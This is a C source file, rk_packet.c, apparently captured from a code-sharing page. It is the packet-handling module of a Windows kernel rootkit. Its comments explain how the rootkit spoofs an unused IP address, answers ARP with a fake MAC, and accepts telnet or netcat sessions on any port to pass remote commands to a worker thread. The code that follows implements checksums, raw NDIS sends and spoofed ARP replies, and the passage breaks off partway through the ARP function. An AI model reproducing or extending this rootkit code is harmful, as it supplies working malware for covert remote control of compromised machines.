📄 rk_packet.c
字号:
#include "rk_driver.h"
#include "rk_packet.h"
//////////////////////////////////////////////////////////////////////////////////////
// this file handles all packet I/O operations for the rootkit, including a
// rudimentary TCP/IP stack. The TCP/IP stack is a hack at best and uses a global
// packet buffer along with tracking ACK/SYNC numbers. It has been tested and works
// with many clients in the lab. Connecting to this over a long-distance link has
// NOT been tested. Also, some MS TCP/IP stacks don't get along with it. NetCat works
// fine from a linux box we tested. Telnet works also, but rootkit doesn't handle the
// telnet IAC sequences.
//
// The rootkit spoofs an IP address of your choosing. Currently, you must compile this
// IP address into the rootkit. (you can hexedit-patch it also)
//
// When an ARP request is made for the spoofed IP address, rootkit responds with a
// fake ethernet address of 0xDEADBEEFDEAD. ALL packets destined for this MAC address
// will be handled as part of the rootkit session. This means you can telnet to the
// rootkit, any port. Source and destination TCP ports are IGNORED - so you can create
// some creative packets in order to connect to the rootkit.
//
// The spoofed IP address you choose be routable to your target, in other words, pick
// an unused address in the subnet your rootkit lives. UNUSED ip is important, or
// else rootkit will respond to ARP's along with the real IP - and we have a bad sort
// of competition going on. ;-)
//
// -Greg
//
//////////////////////////////////////////////////////////////////////////////////////
//-------------------------------------------
// HARD CODE FOR TARGET
// this is the IP address we want to use for
// the rootkit.
//
// 0xA600000A == 10.0.0.166
//-------------------------------------------
#define SPOOFED_IP 0xA600000A
// our rootkit ethernet address - this is hardcoded elsewhere in places
// so if you want to change it, hunt them down.
static u_char demon_addr[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD };
//win2k barfs unless this is crufted out
#if defined(NdisFreePacket)
#undef NdisFreePacket
VOID
NdisFreePacket(
IN PNDIS_PACKET Packet
);
#endif
/* ________________________________________________________________________________
. This constant is used for places where NdisAllocateMemory
. needs to be called and the HighestAcceptableAddress does
. not matter.
. ________________________________________________________________________________ */
NDIS_PHYSICAL_ADDRESS HighestAcceptableMax =
NDIS_PHYSICAL_ADDRESS_CONST(-1,-1);
BFRF GlobalPtrArray[MAX_POSITIONS]; /* max recv packets waiting */
ULONG GPFront = 0;
// for maintaing TCP session
DWORD g_SYNC = 0;
DWORD g_ACK = 0;
// this is a global 'return' packet
static char g_transaction_packet[1600];
DWORD g_transaction_len = 0;
struct ether_header *ret_ep = NULL;
struct iphdr *ret_ih = NULL;
struct tcphdr *ret_tp = NULL;
//input from client will be stored in this little string
//and a little counter
char g_remote_command[256];
u_char g_command_index = 0;
extern char g_command_signal[256]; //to send commands to the worker thread
extern KEVENT command_signal_event;
unsigned short htons(unsigned short a)
{
unsigned short b = a;
b *= 0x100;
a /= 0x100;
return(a+b);
}
unsigned short ntohs(unsigned short a)
{
unsigned short b = a;
b *= 0x100;
a /= 0x100;
return(a+b);
}
unsigned long htonl(unsigned long a)
{
unsigned short u = a / 0x10000;
unsigned short l = a & 0x0000FFFF;
u = htons(u);
l = htons(l);
a = 0x10000 * l;
return(a+u);
}
unsigned long ntohl(unsigned long a)
{
unsigned short u = a / 0x10000;
unsigned short l = a & 0x0000FFFF;
u = htons(u);
l = htons(l);
a = 0x10000 * l;
return(a+u);
}
unsigned short ip_sum(unsigned short *ptr,int nbytes)
{
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}
void tcp_sum(struct iphdr *ih, struct tcphdr *tp, u_long theDataLen)
{
u_char *aScratchHeader = ExAllocatePool(NonPagedPool, theDataLen);
if(tp && aScratchHeader)
{
// ASSERT(0 == tp->th_sum);
int hlen = ih->ip_hl << 2; /* use this value in case there are IP options */
int ip_len = theDataLen - sizeof (struct ether_header);
int tcp_len = ip_len - hlen; // equals total tcp header + data
int tcp_headerlen = (tp->th_off * 4);
int buflen = sizeof(struct pseudo_header);
buflen += tcp_len;
((struct pseudo_header *)aScratchHeader)->source_address = ih->ip_src;
((struct pseudo_header *)aScratchHeader)->dest_address = ih->ip_dst;
((struct pseudo_header *)aScratchHeader)->placeholder = 0;
((struct pseudo_header *)aScratchHeader)->protocol = IPPROTO_TCP;
((struct pseudo_header *)aScratchHeader)->tcp_length = htons(tcp_len);
memcpy( (aScratchHeader + sizeof(struct pseudo_header)),
tp,
tcp_len);
tp->th_sum = ip_sum( (unsigned short *) aScratchHeader,
sizeof(struct pseudo_header) + tcp_len );
ExFreePool(aScratchHeader);
}
}
/* ______________________________________________________________________
. Send raw data over the network. Use this function to send a frame of
. data out over the wire. If you expect the packet to get anywhere, you
. will, of course, need to assemble a valid TCP/IP packet, as well as the
. Ethernet frame. It is suggested that you use something like ICMP
. or UDP to communicate - and ignore trying to keep a TCP session open.
. Otherwise, you are going to have to implement your own TCP stack inside
. this driver (echk!).
. ______________________________________________________________________ */
VOID SendRaw(char *c, int len)
{
NDIS_STATUS aStat;
DbgPrint("ROOTKIT: SendRaw called\n");
/* aquire lock, release only when send is complete */
KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL);
if(gOpenInstance && c){
PNDIS_PACKET aPacketP;
NdisAllocatePacket( &aStat,
&aPacketP,
gOpenInstance->mPacketPoolH
);
if(NDIS_STATUS_SUCCESS == aStat)
{
PVOID aBufferP;
PNDIS_BUFFER anNdisBufferP;
NdisAllocateMemory( &aBufferP,
len,
0,
HighestAcceptableMax );
memcpy( aBufferP, (PVOID)c, len);
NdisAllocateBuffer( &aStat,
&anNdisBufferP,
gOpenInstance->mBufferPoolH,
aBufferP,
len
);
if(NDIS_STATUS_SUCCESS == aStat)
{
RESERVED(aPacketP)->Irp = NULL; /* so our OnSendDone() knows this is local */
NdisChainBufferAtBack(aPacketP, anNdisBufferP);
NdisSend( &aStat, gOpenInstance->AdapterHandle, aPacketP );
if (aStat != NDIS_STATUS_PENDING )
{
OnSendDone( gOpenInstance, aPacketP, aStat );
}
}
else
{
DbgPrint("rootkit: error 0x%X NdisAllocateBuffer\n");
}
}
else
{
DbgPrint("rootkit: error 0x%X NdisAllocatePacket\n");
}
}
/* release so we can send next.. */
KeReleaseSpinLock(&GlobalArraySpinLock, gIrqL);
}
void RespondToArp(struct in_addr sip, struct in_addr tip, __int64 enaddr)
{
struct ether_header *eh;
struct ether_arp *ea;
struct sockaddr sa;
struct pps *pp = NULL;
__int64 our_mac = 0xADDEEFBEADDE; //deadbeefdead
ea = ExAllocatePool(NonPagedPool,sizeof(struct ether_arp));
memset(ea, 0, sizeof (struct ether_arp));
eh = (struct ether_header *)sa.sa_data;
(void)memcpy(eh->h_dest, &enaddr, sizeof(eh->h_dest));
(void)memcpy(eh->h_source, &our_mac, sizeof(eh->h_source));
eh->h_proto = htons(ETH_P_ARP); /* if_output will not swap */
ea->arp_hrd = htons(ARPHRD_ETHER);
ea->arp_pro = htons(ETH_P_IP);
ea->arp_hln = sizeof(ea->arp_sha); /* hardware address length */
ea->arp_pln = sizeof(ea->arp_spa); /* protocol address length */
ea->arp_op = htons(ARPOP_REPLY);
(void)memcpy(ea->arp_sha, &our_mac, sizeof(ea->arp_sha));
(void)memcpy(ea->arp_tha, &enaddr, sizeof(ea->arp_tha));
(void)memcpy(ea->arp_spa, &sip, sizeof(ea->arp_spa));
(void)memcpy(ea->arp_tpa, &tip, sizeof(ea->arp_tpa));
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -